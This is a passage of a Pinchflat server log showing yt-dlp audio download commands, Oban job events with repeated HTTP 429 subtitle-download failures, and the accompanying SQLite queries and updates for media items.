/downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/50/a3/50a38ba0319ebf7c4d34c5187abfce3c4d1da6d56d32ef6c92d69ea65151f948.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests 23:17:46.662 [error] yt-dlp download error for media item #21: "ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests\n" 23:17:46.784 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":21},"id":29,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":5291109,"event":"job:exception","queue_time":946087,"attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 23:17:47.503 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:49.027 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/f4/3a/f43a092f6bbff2048951129c210b28e93d4579bd688d9d89013e7a17d0bbba57.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests 23:17:49.027 [error] yt-dlp download error for media item #51: "ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests\n" 23:17:49.265 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":51},"id":61,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":5375480,"event":"job:exception","queue_time":164339,"attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 23:18:00.308 [info] {"source":"oban","duration":243,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:18:17.504 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:47.505 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:00.309 [info] {"source":"oban","duration":171,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:19:06.887 [info] {"args":{"id":14},"id":22,"meta":{},"system_time":1784863146886959438,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 23:19:06.887 [debug] QUERY OK source="media_items" db=0.2ms idle=1164.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14] 23:19:06.887 [info] User scripts lifecyle file either not present or is empty. Skipping. 23:19:06.887 [debug] QUERY OK source="sources" db=0.1ms idle=170.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:19:06.888 [debug] QUERY OK source="media_profiles" db=0.1ms idle=165.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:19:06.888 [debug] QUERY OK source="media_items" db=0.1ms idle=165.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14] 23:19:06.889 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [14] 23:19:06.889 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:19:06.889 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:06.890 [debug] Running yt-dlp command for action: get_downloadable_status 23:19:06.890 [debug] QUERY OK source="settings" db=0.0ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:06.890 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:06.890 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:06.890 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LpNVf8sczqU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ef/09/ef098ba5eb7964a633254b2dae2c91885e241b4e2266a5e3154e655addfd5527.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:19:08.942 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LpNVf8sczqU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ef/09/ef098ba5eb7964a633254b2dae2c91885e241b4e2266a5e3154e655addfd5527.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 23:19:08.942 [debug] Running yt-dlp command for action: download 23:19:08.942 [debug] QUERY OK source="settings" db=0.1ms idle=221.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:08.943 [debug] QUERY OK source="settings" db=0.0ms idle=220.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:08.943 [debug] QUERY OK source="settings" db=0.0ms idle=220.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:08.943 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LpNVf8sczqU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/1e/7d/1e7db2a360dae266ed1bf736d3ee5fdf34ff8f6441be033621260aee697066c4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:19:11.104 [info] {"args":{"id":171},"id":132,"meta":{},"system_time":1784863151104756538,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 23:19:11.105 [debug] QUERY OK source="media_items" db=0.2ms idle=382.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [171] 23:19:11.105 [info] User scripts lifecyle file either not present or is empty. Skipping. 23:19:11.105 [debug] QUERY OK source="sources" db=0.1ms idle=382.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 23:19:11.105 [debug] QUERY OK source="media_profiles" db=0.1ms idle=382.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:19:11.106 [debug] QUERY OK source="media_items" db=0.2ms idle=164.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [171] 23:19:11.106 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [171] 23:19:11.106 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:19:11.107 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:11.107 [debug] Running yt-dlp command for action: get_downloadable_status 23:19:11.107 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:11.107 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:11.108 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:11.108 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xc752NfJ6tQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b6/c0/b6c09edcbf8af563f2f22ed2e1e0443d597c662d8d2f9d8ec80bd4371a4f0535.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:19:11.520 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LpNVf8sczqU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/1e/7d/1e7db2a360dae266ed1bf736d3ee5fdf34ff8f6441be033621260aee697066c4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests 23:19:11.520 [error] yt-dlp download error for media item #14: "ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests\n" 23:19:11.746 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":14},"id":22,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4633725,"event":"job:exception","queue_time":486142,"attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 23:19:15.417 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xc752NfJ6tQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b6/c0/b6c09edcbf8af563f2f22ed2e1e0443d597c662d8d2f9d8ec80bd4371a4f0535.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 23:19:15.417 [debug] Running yt-dlp command for action: download 23:19:15.417 [debug] QUERY OK source="settings" db=0.1ms idle=1694.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:15.418 [debug] QUERY OK source="settings" db=0.0ms idle=1472.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:15.418 [debug] QUERY OK source="settings" db=0.0ms idle=695.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:15.418 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xc752NfJ6tQ --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Grift/Grift/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Grift/Grift/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/a4/9a/a49a874b32dde059d5ab93f6092ad8857e9a9d49e7215fa4ba4504496ec1b17d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:19:17.506 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:24.728 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xc752NfJ6tQ --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Grift/Grift/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Grift/Grift/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/a4/9a/a49a874b32dde059d5ab93f6092ad8857e9a9d49e7215fa4ba4504496ec1b17d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 23:19:24.773 [debug] Running yt-dlp command for action: download_thumbnail 23:19:24.774 [debug] QUERY OK source="settings" db=0.2ms idle=817.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:24.774 [debug] QUERY OK source="settings" db=0.0ms idle=51.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:24.774 [debug] QUERY OK source="settings" db=0.0ms idle=51.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:19:24.774 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xc752NfJ6tQ --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/171/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/2e/23/2e23e40e87b7b7d95679555baaa0a7d0c8a3d7ba137e28f48e465f9ab352bc2c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:19:27.002 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xc752NfJ6tQ --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/171/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/2e/23/2e23e40e87b7b7d95679555baaa0a7d0c8a3d7ba137e28f48e465f9ab352bc2c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 23:19:27.003 [debug] QUERY OK db=0.0ms idle=280.1ms begin [] 23:19:27.004 [debug] QUERY OK source="media_items" db=0.8ms UPDATE "media_items" SET "media_filepath" = ?, "media_downloaded_at" = ?, "metadata_filepath" = ?, "nfo_filepath" = ?, "subtitle_filepaths" = ?, "thumbnail_filepath" = ?, "updated_at" = ? WHERE "id" = ? ["/downloads/Grift/Grift/2025-11-28Серый Марш『 ExTeam 』- Official Track | Lyrics | 2K[xc752NfJ6tQ].m4a", ~U[2026-07-24 03:19:24Z], "/downloads/Grift/Grift/2025-11-28Серый Марш『 ExTeam 』- Official Track | Lyrics | 2K[xc752NfJ6tQ].info.json", "/downloads/Grift/Grift/2025-11-28Серый Марш『 ExTeam 』- Official Track | Lyrics | 2K[xc752NfJ6tQ].nfo", [["en", "/downloads/Grift/Grift/2025-11-28Серый Марш『 ExTeam 』- Official Track | Lyrics | 2K[xc752NfJ6tQ].en.srt"]], "/downloads/Grift/Grift/2025-11-28Серый Марш『 ExTeam 』- Official Track | Lyrics | 2K[xc752NfJ6tQ]-thumb.jpg", ~U[2026-07-24 03:19:27Z], 171] 23:19:27.004 [debug] QUERY OK source="media_metadata" db=0.5ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/171/metadata.json.gz", "/config/metadata/media_items/171/thumbnail.jpg", 171, ~U[2026-07-24 03:19:27Z], ~U[2026-07-24 03:19:27Z]] 23:19:27.269 [debug] QUERY OK db=264.4ms commit [] 23:19:27.432 [debug] QUERY OK source="media_items" db=162.3ms queue=0.1ms idle=546.8ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? [nil, ~U[2026-07-24 03:19:27Z], 171] 23:19:27.595 [debug] QUERY OK source="media_items" db=161.7ms idle=710.3ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [3147246, ~U[2026-07-24 03:19:27Z], 171] 23:19:27.595 [info] User scripts lifecyle file either not present or is empty. Skipping. 23:19:27.968 [info] {"args":{"id":171},"id":132,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":16490815,"event":"job:stop","queue_time":145831,"attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 23:19:47.507 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:00.310 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:20:16.444 [info] {"args":{"force":true,"id":51},"id":174,"meta":{},"system_time":1784863216444526307,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":12,"tags":["media_item","media_fetching","show_in_dashboard"]} 23:20:16.445 [debug] QUERY OK source="media_items" db=0.1ms idle=1414.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [51] 23:20:16.445 [info] User scripts lifecyle 